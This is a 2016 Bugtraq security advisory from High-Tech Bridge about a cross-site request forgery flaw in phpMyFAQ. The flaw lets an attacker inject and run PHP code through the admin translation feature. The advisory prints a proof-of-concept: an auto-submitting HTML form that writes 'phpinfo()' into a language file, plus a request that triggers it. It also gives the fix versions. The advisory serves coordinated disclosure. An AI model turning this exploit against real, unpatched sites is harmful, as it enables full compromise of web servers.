[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
RCE via CSRF in phpMyFAQ
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: RCE via CSRF in phpMyFAQ
- From: High-Tech Bridge Security Research <advisory@xxxxxxxxxxx>
- Date: Wed, 20 Apr 2016 16:08:14 +0200 (CEST)
Advisory ID: HTB23300
Product: phpMyFAQ
Vendor: http://www.phpmyfaq.de
Vulnerable Version(s): 2.8.26, 2.9.0-RC2 and probably prior
Tested Version: 2.8.26, 2.9.0-RC2
Advisory Publication: March 30, 2016 [without technical details]
Vendor Notification: March 30, 2016
Vendor Patch: April 11, 2016
Public Disclosure: April 20, 2016
Vulnerability Type: Cross-Site Request Forgery [CWE-352]
Risk Level: High
CVSSv3 Base Score: 8.8 [CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H]
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab (
https://www.htbridge.com/advisory/ )
-----------------------------------------------------------------------------------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered a high-risk security
vulnerability in a popular multilingual FAQ software phpMyFAQ. A remote
attacker can execute arbitrary PHP code on vulnerable system via CSRF attack
against website administrator and completely compromise vulnerable web
application.
The vulnerability exists due to application does not properly verify origin of
HTTP requests in "Interface Translation" functionality. A remote
unauthenticated attacker can create a specially crafted malicious web page with
CSRF exploit, trick a logged-in administrator to visit the page, spoof the HTTP
request, as if it was coming from the legitimate user, inject and execute
arbitrary PHP code on the target system with privileges of the webserver.
A simple CSRF exploit below can be used to inject "phpinfo()" PHP function into
file "/lang/language_af.php":
<form
action="http://[host]/admin/index.php?action=ajax&ajax=trans&ajaxaction=save_added_trans"
method="POST" name="main">
<input type="hidden" name="translang" value="AF" />
<input type="hidden" name="langdir" value="ltr" />
<input type="hidden" name="langnplurals" value="1" />
<input type="hidden" name="langdesc" value="*/ phpinfo(); /*" />
<input type="hidden" name="author[]" value="2" />
<input type="submit" value="Submit request" />
</form><script>document.main.submit();</script>
To trigger the execution of "phpinfo()", just open the following file in your
browser (no privileges required):
<form action="http://[host]/" method="POST">
<input type="hidden" name="action" value="" />
<input type="hidden" name="language" value="af" />
<input type="submit" value="Submit request" />
</form>
-----------------------------------------------------------------------------------------------
Solution:
Update to phpMyFAQ 2.8.27 or 2.9.0-RC3
More Information:
http://www.phpmyfaq.de/security/advisory-2016-04-11
-----------------------------------------------------------------------------------------------
References:
[1] High-Tech Bridge Advisory HTB23300 -
https://www.htbridge.com/advisory/HTB23300 - RCE via CSRF in phpMyFAQ
[2] phpMyFAQ - http://www.phpmyfaq.de - Open Source FAQ software
[3] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to
developers and security practitioners, CWE is a formal list of software
weakness types.
[4] ImmuniWeb® - https://www.htbridge.com/immuniweb/ - web security platform by
High-Tech Bridge for on-demand and continuous web application security,
vulnerability management, monitoring and PCI DSS compliance.
[5] Free SSL/TLS Server test - https://www.htbridge.com/ssl/ - check your SSL
implementation for PCI DSS and NIST compliance. Supports all types of protocols.
-----------------------------------------------------------------------------------------------
Disclaimer: The information provided in this Advisory is provided "as is" and
without any warranty of any kind. Details of this Advisory may be updated in
order to provide as accurate information as possible. The latest version of the
Advisory is available on web page [1] in the References.